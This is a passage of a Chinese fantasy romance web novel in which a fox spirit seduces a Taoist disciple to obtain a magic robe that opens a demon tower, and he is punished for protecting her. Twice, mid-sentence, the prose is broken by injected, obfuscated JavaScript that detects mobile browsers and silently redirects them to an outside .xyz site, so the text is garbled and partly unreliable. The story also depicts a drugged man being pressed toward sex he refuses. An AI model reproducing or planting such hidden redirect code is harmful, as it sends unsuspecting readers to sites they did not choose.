“你说什么?” 她捏着长垣的下巴,男子似乎已神志不清,眼中尽是痛苦的隐忍。 他不再说话,只是用那双眼睛看着她,像要将眼前人吞进腹中。 柳心有些嫌恶地松开了手,给那女子丢了个眼神,转身走出了船舱。 长垣的声音还在耳边回荡,她以为他早就忘了那个梦,她以为他不过是梦中的一个可有可无的角儿。可是他刚刚竟然那么叫她,他记得那个梦,记得她的狼狈,也记得那些虚幻的情? 小长垣的回忆瞬时涌入脑海,洞房花烛时脸红的,给她烧柴时的笑容,还有迷糊中滚烫的那滴泪......她心中烦躁起来。明明对她不假辞色,动辄责罚,刚才那又算什么? 屋内忽而传来一阵响动,像是什么东西撞在了船厢上,女子的痛呼声传来,她抛开杂念,走了进去。本以为是一番云雨景象,却不想云娘摸着额头上的红肿痛得掉眼泪,与她抱怨道:“柳娘子,我这实在是尽力了,这位小郎君实是烈性得很......我看他是心里有人了,方才一直喊着心娘心娘的,这既然有了人,我们再如何用力怕是也难了呀。” 柳心目光微动,挥了挥手,“罢了,你回去吧,剩下的钱我也一并给了你。” 女子闻言这才笑着领了钱下船。微微晃动的船此刻平稳下来,晃灭的油灯散发出松香,在清寒的夜里伴随着男子粗重的呼吸格外浓郁。 那头他紧皱着眉头咬着唇,这头柳心摸索着那油灯。 冰凉的,粗糙的触感传至指尖,她一边握着灯走到了长垣身前,一边伸手去脱他的里衣。 长垣翻了个身,背对向她,连阻止的力气都没了,压抑那股燥热已让他几乎虚脱。 “走...走开......” 柳心淡淡看着,声音极尽温柔,一边又去抚摸他腰间。 “郎君这么凶做什么?与我欢好,解你欲渴,不好么?”她低下头来,欲要亲他,“又不是穿肠毒药,是甘霖蜜糖,鱼水滋味,我与郎君共尝,小郎君......你解开衣衫,让我亲亲你吧。” “不,不要,走开。” “不要这个要什么呢?郎君,只有我能帮你,你就从了吧......” 她不厌其烦地诱哄着,却在听到那个名字时再次冷了脸色。 “心...心娘......只要心娘。” 灼热的呼吸喷薄在长垣的额头上,又返还至柳心的唇边,湿湿,热热。转而又冷却作冰凉,月光从窗缝中漏出,倾泻进男子的眼睛里,盛着女子淡紫的眸光,银辉与清紫交融,一颤一颤剧烈缩放着。 她不知道那段梦究竟潜存于他心底还是他知而不言,但眼下她的心为眼前的男子跳动不停。说不清是什么感觉,她只是有种讶染的空白。 赵长垣...何时非她不可了? 26. 时机成熟了 不论长垣是记得还是不记得那天夜里的那个梦,柳心觉得已经不重要了。时机已经成熟,她没必要再等下去,她可以脱掉长垣的那件无法衣,拿走钥匙,然后就此告别。 烛火葳蕤,她捧着他的脸,温柔地亲了下去。轻轻地落在他的额头、鼻尖,她轻轻吮了一口他干涩的唇瓣。 “长垣,你看看我,我是心姐。” “心...姐......” 那双带着血丝的眼睛看向了她,她心中一阵雀跃,马上就可以拿到东西了。 可就在这时眼前的男人眼一闭,倒在了她怀里。 她吓了一跳,忙伸手去摸他鼻息。不是吧,不会憋死在这儿了吧。 “长垣?长垣?” 晨光透过浅蓝的纱帘照进床头,长垣睁开眼,鸟鸣阵阵,伴随着孩子们的嬉闹声。他坐起身,隐约看见窗外的景象。一棵大槐树下,柳心双手放在膝头,笑得明媚,围着她的几个孩子们同她一道看着另一个男孩儿打石子玩。 房间的门被推开,一个老妇人端着一碗汤药,一碗清粥走了进来。 “郎君醒了,先趁热把药喝了吧。” 长垣看着陌生的地方,问道:“这里是哪里?” 老妇人道:“昨天夜里你娘子背着你在我家药铺门口拍了好久的门,我是硬生生被吵醒开了门,你发了一夜的高烧,你娘子说你们家住得又远,所以暂且让你们在我家后院住下了。” 老妇人左一句娘子右一句娘子,长垣不自在地反驳道:“她不是我娘子。” 老妇人见状笑了笑,倒也没反驳他,年轻人闹别扭她见得也不少。她把药递给长垣看着他喝完,摸了摸他的头,“嗯,倒是不烧了。” 长垣客气道:“多谢医师。” “不必谢我,你娘...那姑娘用的冷敷的法子一盆盆水降下来的热,她可是守了你一晚上,方才又早早去给你做饭,我说歇一会儿吧,她非说要听到你没事的消息再睡也不迟。” 窗外女子的笑声伴随着孩子们的笑声一起,飘荡在槐树下。连着冰冷的小屋里似乎也能感受到外面的阳光。 长垣抬起头,迎着那阳光,若有所思道:“您这里真热闹啊。” 老妇摆来小桌板,放上了粥菜,“热闹什么呀,他爹那年服役去堵洪淹死在大水里,他娘哭得要死要活,没过几个月就忧思成疾病死了。” “忧思真的能到生死地步?” 长垣似乎有些不解,老妇叹了口气,“我老婆子不懂这年轻人的情呀爱的,我和老头子过了半辈子,他丢下我早早死了,还不就那样,日子照过,孩子还得带着。 好容易拉扯到他娶了媳妇,不想两个冤孽情种都落到我家来。或许世上确实是有情这个东西,只是个中滋味,也只有其中人晓得了。” “怎样才算是对一个人有情呢?”长垣问。 老妇怪嗔道,“郎君这话也是作怪,有没有情自己难道不知道?反倒问旁人。” 她看了看长垣这略显呆滞的目光,又看了一眼窗外,因道,“我看出来了,那姑娘对你有情,你对她却无情。” “我也不想无情,只是…我不知道该怎么做。”长垣认真道,“怎样才能爱上一个人呢?或者说爱上一个人是怎样的?” 老妇皱着眉头听长垣说着,只觉得他语无伦次,说些她听不懂的怪话。她姑且把它理解为怎样追到那个姑娘。 她拍拍手站起身一边收拾碗筷,一边道,“爱一个人就是想对她好喽,给她买衣裳首饰,买好吃的东西,陪她玩…… 总之,她需要什么你就尽可能给她什么。这样就算是爱人了。” 老妇看长垣低头沉思着什么,暗骂了声呆子快步走了出去。 柳心再和长垣一道往回山的路上时颇有些不安。她昨夜花光他的钱买通船妓算计他,还把他算计病了。本以为他醒来怎么也得狠狠骂她一顿,或是又念起那让人头疼的诀,可是他竟然什么也没干,什么也没说。 她吊在后面,两人就这么一前一后不紧不慢地穿梭在人群中。街市的嘈杂却渗不进他们的沉默。 越是这样,她越是不安。 这死道士心里究竟想什么呢,现在在山下人来人往不方便教训,难道他想上山后再找她算账? 正想着,眼前人忽然停了下来,她一头撞在了长垣的背上。 那双乌靴掉转过来,朝她东北方向走来,她咽了咽口水。 他却略过了她,停在了墙角一个货郎面前。 那货郎一个小推车上挂满了各色东西,最低一层的匣中放着各种乐器、粗制的武器。 长垣的目光在上面略过,乐器……这妖连清心咒都念不明白,恐怕也不认得曲谱,更遑论演奏。武器……她现在有禁制尚且逮着机会为非作歹,叫她练熟武器,他今后恐怕日日夜里都不能再闭眼。 柳心见长垣盯着一件长鞭,心里直突突。法术惩罚固然痛,但好歹痛快。这人类用的鞭子却是个磋磨死人不偿命的。这死道士该不会想拿这玩意打她泄愤吧。 她默默后退了几步,手边一根无形的线随着她动作紧绷了起来。长垣的手指动了动,感受到手上的动作,他向后看了一眼,朝她走了过来。 “你...你干什么,我告诉你,现在是在大街上,你......” 一阵淡淡的香气萦绕在周身,宽大的白袖在眼前闪过,软软的,轻轻的,像一条白纱将她笼在袖内。 鬓边多了一支木雕的狐狸簪,样式很粗陋,柳心愣了愣。 “你哪来的钱?”她颇为不自在地红了耳朵。 长垣的目光在她脸上掠过又迅速转过身去走在前面,“替那老板算了一卦,抵了。” “你还会算卦呢。”柳心一边不紧不慢跟着,一边揶揄:“还以为你不会玩这些把戏,原来和那些道士也没什么不同。” “讨生活的手艺,在世上做人,自然是会的。” “我以为长垣道长不食人间烟火,竟然也知道骗人。” “不是骗人,世运有道,每个人都有自己的命,命定自然也可推测。” 柳心嗤了一声,“那你自己算过吗?” “我不信命。” 柳心颇为古怪地看着他,“你说命运天定自己却不信命,这是什么道理。” 柳心裙下踩着的那黑影顿了顿,流畅的线条逐渐与笔直的身躯融为一体,似一根青竹直接插月霄。 “命定的是人,定命的是天,人命天定。” 所以他要做这至高无上的天,不受主宰不受摆布的天。 银色的月辉与赤橙的灯光相交融,落在男子清瘦的身躯上,微风浮动,他立于微亮的青石砖上。似乎真的要羽化仙去。 “那我呢?你算出我的命了么?” 她的命,是能否拿到钥匙救出柳言,还是这段注定湮没的情感,她此刻自己都不知道她在想知道的是什么。 柳心低下了头,缓缓伸出脚试图踩住那道影子。 长垣收回了目光,对柳心道:“天机不可泄露,给人算命是要背债的。” 柳心心中不屑,嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他脑中突然浮现出那老妇的话,鬼使神差地,他解开了那禁制。 柳心手心的柳条纹一亮,她立刻雀跃着跳开,“解开了?太好了!” “禁制解开了,可以走了?” “别那么着急嘛,我说了有好东西给你看。” 柳心看着长垣,合上手掌,又忽然打开,魅丝变幻成小竹的模样闪着亮光出现在长垣眼前。 他没什么表情,似乎还有几分无语。 下一瞬,却见那竹子支杈忽然分叉爆开,一朵朵红艳的花儿盛放在修长翠绿的竹叶间。 凝成湘妃泪,盛放青竹间。 柳心要讨好的这美人并没多惊喜,而一副鄙夷模样。 “俗气。” 竹子开红花,俗气得不能再俗气了。 柳心哼了一声,手指一动,这竹花顷刻间便嘭得一声炸开。 明亮的光焰在长垣眼前绽放,电光火石间,五色流转,银花绿树,都化作点点紫红萤火,散在漫山遍野,萦绕指尖心头。 幽微的光变幻流动,女子玉白的脸,毛绒绒的眉,像一只翘着尾巴的小狐狸钻进了深邃的眉眼中。 看着微微呆滞在眼前的男子,柳心勾了勾嘴角。她想,时机应当成熟了。 青云山顶,赤峰看着山脚那一片红光,神情变得严肃起来。 玉蝉带来的那封信中有师弟测算出的消息,天生异象,人界将有大乱发生,百姓困苦,江山颠覆,全因妖祥降世。 师弟用乾坤卦算出那人就在东流地界,他遍寻不得。 此次回山,欲要去典藏室翻阅古书求解,却发现本该今日值守的长垣不在地方。 山脚的异象让他警铃大作,那一团炽烈的红光,是妖气。妖气萦绕在青云山,散发着浓厚的气息。 青云山出现了妖。 27. 你竟窝藏妖孽! 夜已经很深,檐角挂着稀稀疏疏几盏残灯,照亮着模糊的两个影子。 长长的,细细的,一个静静走着,一个胡乱动作。 柳心看着前面那个无论怎么动也吸引不了她目光的身影,一边做着鬼脸,一边抬起脚挥着拳头对他的影子泄愤。 冰块脸,死木头!明明心里都要乐开花了吧,脸上还是一副死人样。装什么装! 长垣暗暗垂眸,身侧的倒影快要挥出残影,不难猜出身后女子此刻那副气鼓鼓的模样,他嘴角微微抽搐,还是忍不住勾起嘴角。 他觉得自己像是养了一只小猫,看着乖巧伶俐,其实会龇牙咧嘴,伸出爪子狠狠地威胁他。 但在这陌生的环境里,他一挪动,她还是会一边冲他哈气一边骂骂咧咧地摇着尾巴跟上来。 这段路走了很长,他却觉得比之前更快了。他停下脚步,正要让她进门,抬头时他的笑容就僵在了脸上。 赤峰的鹰一般的目光锐利地盯着他,缓缓移向他身后的女子。 一句话没说,一道凌厉的掌锋直直朝他身旁袭来。几乎是在同一时刻,长垣没有犹豫地挡在了柳心身前,将她收进了锁妖袋中。 “你到底知不知道自己在做什么?那是妖!你竟窝藏妖孽,还对她动了情!” 赤峰将长垣带到了石室,一贯平淡无波的脸上因暴怒紧皱成一团。 青云山最有前途,最勤勉的那个弟子,此刻正跪在他面前,面不改色地欺骗着他。 “弟子没有。” “没有什么!你是没有窝藏妖孽还是没有对她动情?若是没有,那还不把她交出来就地诛杀?” “我对她只是师徒之谊,她不是残虐无道的妖,只要稍加引导,就可以脱胎换骨,焕然一新。” 男子冷淡的声音传入锁妖袋中,柳心看热闹不嫌事大,面对长垣被抓包,她竟然没有一点害怕,而颇有一副看好戏的心态。 他在说谎。她想,这人看着一本正经,其实满口谎言,他说他没有动情,其实他动了情。她感觉到了,他的心他的脸都在一点点地变化。 她取下头上那根木簪,在手里把玩着,一面竖起了耳朵听着外面的动静。 “我看你是被这妖孽引得失了神志,妖就是妖,天生作恶,你要引一只妖向善,岂不是无稽之谈?” 长垣沉默着,赤峰深吸一口气,“我再给你最后一次机会,把那妖交出来,我就当这事没发生过。” “恕弟子不能从命。” 赤峰怒极,“好啊,你是铁了心要护着这妖了。既然如此,就休怪我用门规处置你了。” “请掌门责罚。” 洗心池的水是为涤荡人心中恶欲,七情六欲,贪恨爱痴,只要心中存有,就会被这池水腐蚀,外表看上去没有伤口,但其实净水渗透血肉,内里一会儿如烈火炙烤,一会儿又如寒冰冻骨,冰火两重。 虽说青云山修道,但山门没落,入门的弟子们哪个心中没有俗欲,所以不再要求弟子接受这试炼,只有犯了错的弟子才会被带到这里接受惩罚。 虚弱的状态使得锁妖袋的禁制松懈了下来,柳心在里面睡了一个好觉,听见外面似乎什么动静也没有。她想,大概是大家都走了,只剩下长垣一个人了。 她用力挣了挣,竟然从锁妖袋中溜了出来。 两条锁链紧紧锁在长垣的身上,他下半身浸泡在洗心池中,感觉体内的血管被冻住,血液凝滞堵塞,心脏的跳动越来越慢,窒息的感觉也越来越重。 他眉头紧锁,艰难地大口地吸气呼气,白衣紧紧贴在精瘦的胸肌上,青紫的血管蜿蜒深埋白玉深处,随着胸膛的起伏隐现。 她走上前扯了扯男人身上的锁链,“长垣,长垣?” 手上的冰冷让她吓了一跳,这水里明明冒着热气,这人的温度竟然比冰块还凉,这还是人吗? 她叫了几声,长垣都没有回应,就这么软软地倒在一边。她心中大惊,立即运气往长垣身上输送,温暖的灵力如水一般淌进长垣体内,眼前的男人却半分没有反应。 柳心有些着急,声音不禁放大了几分。 “赵长垣!赵长垣!你不会吧,就这么死了?” 这群老不死的,不是自己的徒弟不心疼往死里整是吧,不就偷藏了一只妖吗,又没为非作歹,杀人放火,凭什么要了这道士的性命? 何况是她这样貌美的妖,栽在她手上,那不是理所应当的事么? 她一边骂着,一边调动了全身本就不多的灵气,尽力输进长垣身体里。 “赵长垣!你给我醒醒!好歹等我拿到钥匙再死啊,你死了我还怎么脱下你这身臭衣服,怎么拿到钥匙救我弟弟?” 她又气又哭,又带着几分怨恨委屈,忽然看见眼前的人似乎动了动眉头,睁开了一条细缝。 女子的声音吵得他头疼,长垣迷迷糊糊睁开了眼睛,柳心见状破涕为笑。 “你醒了,还好还好,老天保佑。” 没高兴多久,说话间,长垣的身体骤然大幅度动作起来,双臂的锁链啷啷地晃动,他猛地瑟缩着,吐出一口血来。 柳心的笑容僵在脸上,赶忙接住了他。 “怎么了?怎么会这样?” 山洞近处传来脚步声,柳心瞟了一眼,迅速缩回了锁妖袋中,从里面扯紧了口袋。 长青提着伤药走了进来,一进门便见到血红的池水和奄奄一息的长垣。 他慌忙探了他周身,皱了皱眉,是妖力与人灵相斥导致静脉错乱,逆血上涌。可是这么多弟子进来过洗心池,却从未有像长垣这般危及性命的,他究竟对这妖女的情欲到了何种深刻地步才伤成如今这般...... 灵气缓缓流淌进长垣的身体里,冰冻的血液融化开,温度稍回,长垣勉强清醒过来。 “长...长青师兄,可是掌门有话要说?” “掌门对你无话可说。”长青翻了个白眼,“要有也不过是叫你交出那妖怪,免受蚀心之痛。” “我甘愿领受任何责罚,只......” “是,我知道,只这一条不能答应。” 长青看着狼狈的长垣,颇为不解,“你是被那妖女灌什么迷魂汤了?” 他一边伸手去探了探他眉心,“也没中蛊啊,也是,你穿着你师父留下来的无法衣,怎么可能被妖怪种蛊。 长青是和长垣一同进的山门,一同长大的。别人或许听到长垣被罚的传闻,不过当作一件风月趣事,饭后谈资。他却不能明白,因为他看过长垣的努力,明白他的抱负。 修炼,是长垣从小坚持的事情,几乎可以说是一个执念。他对道的钻研到了痴迷地步,为了道术,十几岁的他在雪山里打坐过三日,被师父捞了回来痛骂一顿。后来他转而每日清晨在竹林练功,就这冰冷的溪水,尖石被他坐圆,鸟雀为他折倒。 为了修道,他什么都能做。 正因如此,他更不能理解他居然要为了一个妖女破了苦心多年追求的道。 生了情,便有了贪,多了妒,藏了恨。修道修心,最忌道心动摇。 更何况,还有先例在前。 “长垣,不是师父古板苛刻,你难道忘了你师父么?他也是因为那个女妖,一步步受她的引诱生了情丝,为她控制,最后害死了青云山大半子弟。他的尸骨至今还葬在万妖塔下,你难道想重蹈他的覆辙?” “我不想重蹈覆辙,也不会如此。” “那就交出那女妖。” 长垣对长青摇了摇头,长青一股无名怒火升起,“你一定要固执己见么?妖类最擅伪装,当初赤炼师叔也是像你这样收了那妖女为徒,以为能感化她向善修行,结果呢?她受了赤炼师叔莫大的恩惠,却还不是翻脸不认人,利用师叔妄图偷走青云图,大开杀戒,致使所有人葬身山下。” 这妖也是魅妖,长垣的现在就和赤炼的当初一般无二。别说师父,就是他也不信这妖类无所图谋。 锁妖袋中的柳心心中猛地跳了跳,原来那传说中的赤炼就是长垣的师父,有这么一段往事在,难怪赤峰老儿反应这么大。她现在不禁为自己捏了把汗,长垣不说话,该不会真的要把她交出去吧。那可不就是玩脱了。 柳心的心扑通扑通跳着,良久,才听长垣道:“我不是师父,我和他不一样。” 咻得一声,凌厉的鞭子猛然甩了过来,落在长垣的背上,皮肉与鞭子的接触声音听得柳心一震,不禁往锁妖袋中缩了缩。 赤峰的声音从袋外传来,“荒唐!你凭什么拿全青云山的命赌一个妖的善心!” 这一鞭让长垣几乎咬碎了牙齿,他已经很多年没受过这样重的责罚了。身体的剧痛让他直直淌下冷汗来。 赤峰在外听着,越听越气。长垣已经完全被这妖女迷了心智,和他说话无异于对牛弹琴。 他扬起鞭子又是一鞭落在了长垣身上,长青忙扯住了赤峰的衣袖,“师父,长垣浸了这洗心池的 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柳心迫不及待地钻了出来,浓重的血腥气带着山洞的阴冷压抑在她心头,看着眼前的血人。她微微颤抖着伸出手托住了男人的下巴,掌心很快盈满血水,顺着她手腕的青筋淌下,分明的红线,是他的血划上的。 刚要伸手,又想到了什么,掌心的灵气瞬时消散。 她想了想,变作了一只紫红的狐狸,扑到他身上,像最原始的动物照顾同伴那样,舔舐着骇人的伤口。 小狐狸一边舔舐一边发出呜咽的声音,长垣睁开眼,一记金光袭来,她不防被击中倒在了地上。 她翻开掌心,那微微刺痛处带着长垣的血印,化作一道竹纹。紧接着又是一阵金光,男人赤裸的身上出现了一条一条金色的交错花纹,它们似乎闻到熟悉的味道,化作一只只萤火虫,脱离了男人,在空中徘徊列队,形成一张巨网,咻得朝柳心扑了过去。 柳心吓得闭上了眼,以为长垣当真要趁机杀妖证道,睁开眼时却发现那网紧紧贴在了自己身上。 她呆呆地望着眼前的男人,他这是...... “是无法衣。”他破天荒地对她笑了笑,“穿上它可以盖住你身上的妖气,也可以免受一般妖邪的侵扰。它也是破开竹林阵法进入万妖塔的钥匙。” 柳心闻言猛地瞪大了瞳孔,长垣却仍是淡淡的笑着,那一双漆黑深沉的眼睛,似乎早已将一切看透,让她无处遁形。 “你走吧。” 他说,“你的禁制已经解开,救了你弟弟就赶快离开这里。” 她觉得一切好像做梦一样,脑袋一片混乱,她不明白怎么突然事情就到了这地步,如此顺利地她拿到了钥匙。他拱手送上,护她离开,她本应该当即逃跑,速战速决。 可是不知怎么的,她的双脚定定地站在了那里。 小狐狸水灵灵的眼睛望着他,眉头微蹙,似乎很是不解。 长垣似乎看出她心中所想,“你不走,我被掌门打死之后你也照样得死,而且会死无葬身之地。不如现在离开,少送一条性命。” “嗷嗷~”(那你呢?) 她走了,他会死么? “我破了道,犯了禁,注定在此陨落。这是我的劫数,还记得我跟你说过的吧,这是我的宿命。做不成仙,便注定天定我命,我认了。” 长垣的笑中带了些许苦涩,随即他望向柳心,“走吧。” 柳心还未来得及思索,只感受到一阵大风刮来,顷刻间那只狐狸便消失在眼前,只余长垣脱力缓缓沉没在一片深池之中。 咻得一声,长青将池中人捞了出来,金色的灵力源源不断地输送进长垣体内,脸上的伤疤也缓慢愈合着。 “你当真就这么把无法衣给她了?” 长青到现在还是觉得长垣是哪里错乱了,好好的孩子,突然就成了那痴情冤头种子。 “师兄不是说假如她不回来,上天入地也仍旧要把她抓来么?既然如此,无法衣给她又何妨。” “我看你是怕她一去不回。”长青冷哼一声,“她若对你是一样的真情,你们彼此相爱,自然不会让你替她受罪就此离开。我是替你证真情,你却为她变着法想退路。” 体内那股横冲直撞的妖力仍残留体内,带着刺痛,牵动着长垣的心。虽然痛,却因此还能感受到它的存在。 他想,这也是‘爱’吧?他垂下眸子,淡淡道:“我相信她。” 他相信她也是爱着他的。 28. 我不能破了他的道 长垣的一阵风让柳心回到了竹林,泠泠的河水冲击着石块,在静谧的夜里哀嚎。 她摊开掌心,看着上面的竹纹印记,闭上眼,她身上的无法衣果然化作了一把钥匙浮现在手上。 救出柳言,近在咫尺。 她迈出了脚步,却又停在了原地。 打开这结界,长垣便成了与妖为伍的罪人,哪怕嘴上不认,她的行为会坐实他爱上一个妖的事实。 道心破碎,再难成仙。 他几十年来的辛苦,霎时灰飞烟灭。 可是弟弟还在塔里,她修炼了这么多年,在这里做了这么多事,不就是为了有朝一日救出柳言。这世上只有他们相依为命,只有他是她最亲近的人,骨血相连,割舍不断。 她如此想着,可是下一瞬她的心里又浮现出长垣的模样,她伸出手臂,血迹已然干涸,暗红的血液如一条红线与她的血管内外交叠融为一体。 她继而有些恨起长垣来。 她只是需要一点点情,哪怕万分之一的真情就足以让魅妖用魅丝操纵钩织出情网,接着她便可以拿到钥匙。 他要驯服她,引渡她,她要操纵他,征服他。本来就是二人的博弈,胜者为王败者为寇罢了。 可他为何要在赤峰发现她的存在后将她藏在锁妖袋中?为何洗心池水啃噬骨肉濒临死亡,赤峰鞭锤逼迫也宁死不屈? 那副白衣轻骨下掩藏着的情如海下洪波乘风翻滚掀起表层的平静汹涌扑来,几乎将她吞噬在这密不透风的情海中。 太过沉重,太过突然,太过浓烈,以至于浪拍搁浅,他沉溺几近毁灭,而她已在岸上静静地望着他。 胸腹、头颅还残存着咸涩的水,沉闷、迟重,像一块巨石压在了她身体里。 她走到了他们常常打坐的石头边,一块块挪动。冰凉的溪水没过脚踝,寒冷让她胸腹的积水的沉滞感更加重了。 阵法缓缓启动,一阵铃响,结界显现在眼前。 已经没有回头路了,风铃已响,青云山的长老弟子很快就会闻风而至。她必须一鼓作气救出柳言,然后带着他离开这里。 铜铃随着外结界的打开微微晃动,音波四散,从竹林传至洗心洞。 长青收回输给长垣的灵力,看了一眼洞外。 “你听,是阵铃的声音。” 长垣睁开眼,却只是低着头,似乎并不关心外界的一切。 长青冷笑道,“妖果然是妖,妄想她们生出良心,幡然悔悟,简直是痴人说梦。你把无法衣服给她,替她在这里受罪,她拿了东西果真就要跑了。” “你怎么不说话?哑巴了?” 长青将目光移回长垣身上,却见他只是盯着眼前的一块石头,沉默良久。 长青走来道,“都这时候了你还看块儿破石头,真心喂了狗,你就一点不难过,一点不伤心?” 长垣依旧没说话,长青挠了挠头,走近他身边坐下,这才看清池边一块青石下依稀掩着什么字迹。 “雁币任野薄,恩爱缘义深。同声什么瑟,合韵什么琴……” “同声若鼓瑟,合韵似鸣琴。”长垣道。 “这字迹看起来有几十年了吧,都看不太清了。想来是前辈中有哪个像你这般的傻子,在这里洗心断情,苦痛中刻下的。” “前面两句还能看出痕迹,后面两句模糊不清,不是因日久风化,是因为两句诗是出自两人之手。” 长青凑近了些,仔细看了看,“前面两句苍劲有力,后面两句绰约婉丽一些,好像确实是男女合写。” “不过这又怎样,现在不是研究人家的绮丽情史的时候,你……啧,不对啊……” 长青的眉头微微皱起,思索着什么,“这字迹怎么那么眼熟,我好像在哪儿见过。我想想。《五玄心谱》!这不和藏书室那本《五玄心谱》的字迹一样么。” 长青脱口而出,继而心中猛地一跳,沉默下来。《五玄心谱》是赤练师叔亲手誊抄且补注过的书,这字迹是赤练师叔的。 他当时收下那魅妖为徒,师徒情谊深厚。前两句是他,那么后面两句就是那妖的笔迹。 想到这里,他摇了摇头,“不过偶生情愫,一时感想,才在洗心池边刻下,想必正是师叔为妖术蛊惑,心魔所生,姑欲除之。” 长青手中的传音铃微微晃动,他站起身来,拍了拍长垣的肩膀。 “掌门给我传信了,现在我得去竹林了,你别胡思乱想了。我现在就去把那妖女抓回来。” 长青说罢离开了洗心洞。长垣缓缓将那被挪开的石头重新挪回原位,盖住了那字迹。 雁币任野薄,恩爱缘义深。同声若鼓瑟,合韵似鸣琴。 杨衡的叙别诗,别的不是风月相逢的女子,而是同牢合卺的妻。 他的师父和那个魅妖,不是师徒,而是夫妻。 赤峰、长青等人以最快的速度赶到竹林,进入阵法,准备好了一切抓捕诛杀那妖的法器后却发现那里空无一人。 阵铃余波尚在,赤峰皱着眉走到万妖塔前。 “师父,没有打开过的痕迹。妖气也很浓郁,全都聚集在塔内,似乎没有小妖潜逃。” 长青施术查探了一遍,一边暗自迷惑。搞什么?动了个结界就跑了? 赤峰对长青问道,“长垣现在如何?” “长垣…还在洗心池。” 他看了看长青,随他一同走远了些,压低了声音,“那只妖呢?” 长青顿了顿,“长垣师弟还是不肯交出她来。” 赤峰冷哼了一声,“那就看他能撑到什么时候。若过了天明还不交付,便将他们一块儿丢到炼妖炉里炼了。” 长青点头,赤峰交代道,“我们东流已经许多年没有妖现身,现在来了一个魅妖,万妖塔的结界多次响动,恐怕青云不止她一个妖。 你再去查探一番,看看山内有无其他妖孽藏身。” “弟子明白。” 宋璋做了一个梦,她梦见舒玄礼考中了探花,乌纱帽,大红袍,坐着高头大马进了红帐。 龙凤花烛高燃,帘帐掀开,却是一张陌生的脸对着她,满是倨傲。 她看见她解下舒玄礼的衣带,让他跪倒在他面前,拥着他…… 罗帐渐渐放下,鲜红的指甲渗进红浪中,沉浮。 宋璋猛然惊醒,出了一身冷汗,头疼得厉害。听见屋内有细微的声音,她扶着床缓缓坐起来,手悄悄摸到了枕下的匕首。 她对于危险的感知向来敏锐,四周的氛围有些不对劲。断断续续的脚步声逐渐靠近,越来越近,帐子微微拨动,她屏住呼吸,握紧了手里的刀。 忽而帘帐拉开,熟悉的面孔映入眼帘。她吓了一跳,又松了一口气。 “是你?深更半夜的偷偷摸摸做什么?” “说来话长,总之长垣的师兄和赤峰老头发现我了,现在估计正到处找我呢。” “那长垣呢?” “长垣被关在洗心洞,他放我出来了。” 一个接一个的意外让宋璋有些愣神,长垣居然会自愿被关在洗心洞还放跑柳心违背师命?这不像他的作风啊。 她紧接着有些怀疑地看向柳心,“该不是你杀了长垣偷跑出来,想借我的身体避祸吧。” 还好她是醒了,要是睡着迷糊,她说不定就上了她的身了。 柳心没好气道,“谁杀他了?我们妖也是有道德的好吧!再说他道行那么高又有无法衣护身,谁杀得了他!不过我来找你确实是要借你的身体一用。” 当初赤峰亲自试探宋璋,就没看出什么异样,可见这女人的体内藏着某个秘密,寻常人不能发觉。躲在宋璋的身体里是最安全的。 宋璋抱臂看着她,“借我的身体,然后呢?你不会想用我的身体去闯结界救你弟弟吧,先不说闯不闯的进去,对我来说那可真是好大一桩亏本买卖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056255|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是要走,现在就可以离开,何必在我这里躲这一时。” “你这女人还真是……”柳心忍不住白她,真是无情无义得理所应当,理直气壮。 她闭上眼捏了个口诀,手心一把金色的钥匙幻化出来,又变作了一件衣裳,金光闪闪,轻薄如纸。 “这是?” “无法衣。” 宋璋首先是讶异,无法衣只听主人号令,又刀枪不入,术法不侵,若非主人亲自脱下,旁人无法动它分毫。柳心不知用了什么办法,竟真的拿到了它。 其次她又开始思索这事的可行性。柳心真拿到了无法衣,那么这阵法的攻击便可以被无法衣挡去大半。借她的身体暂时躲避搜查,直奔竹林倒确实有救出她弟弟的可能。 想到这里,她敛了敛心神,“要借也可以,那你拿什么跟我交换呢?” “我的心。” 宋璋微微皱了皱眉,柳心拉着她的手贴近胸前,一股香气扑鼻而来,愣神间她的意识便被眼前的紫红瞳孔吸了进去。 像是一下子堕入了绵软无尽的云朵,一层一层,沉重的身体撞击在软棉的云层上,紧张,继而又散开。 空虚穿透胸膛,脊背、手脚都无所依凭,似乎只感受到头脑的存在。 一团熬煮的糖浆似的,咕嘟嘟地冒着泡,化开…… 接着又一股强大的吸力将她骤然拉回现实,她踉跄了几步,脚下发软,踩到硬实的地面,这才回过神来。 那双紫红的眸子已经转为深色,与一般人别无二致。 柳心看着她,挑眉道,“如何?魅妖的心可以化作你的眼睛,虽然功效可能不如在妖主身上,但也够你用个十来年了。用了这魅术,在一般男人眼里,你就和那西施洛神差不多,举手投足,没有不为你倾倒的。 你不是总担心你家夫君看上别人吗,有了我的心,保管他从此眼里只有你一个。” 柳心勾着唇,一副戏谑模样,宋璋却静了下来,皱眉望着眼前的女人。 “心都不要了,你究竟要做什么?” “我要你趁着所有人不在,去洗心洞把无法衣还给赵长垣。” 宋璋觉得自己仿佛听错了,“你刚从他那儿拿到无法衣,现在又要还给他?那柳言呢,你不救他了?” “柳言自然要救。” “没了无法衣你拿什么救?” “我的命。”柳心镇静地看着宋璋,嘴角还带着玩世不恭的几分笑意。 “拼上性命,我就不信修炼了这么多年,吸了这么多精气,奋力一搏破不了这群臭道士的阵法,救不出我弟弟。” 宋璋觉得她疯了,她到底手什么刺激了,“为什么不穿着这衣服开了结界便是?” 在宋璋的注视下,柳心缓缓拔下头上的那只狐狸木簪,微微施法,它便在法术的操控下在她左手掌心划出一道血痕,竹叶纹印记闪着金色的光芒,显现在宋璋眼前。 “他说,无法衣可保我平安,也是打开结界的钥匙。” “他说,让我救了我弟弟就走吧。” 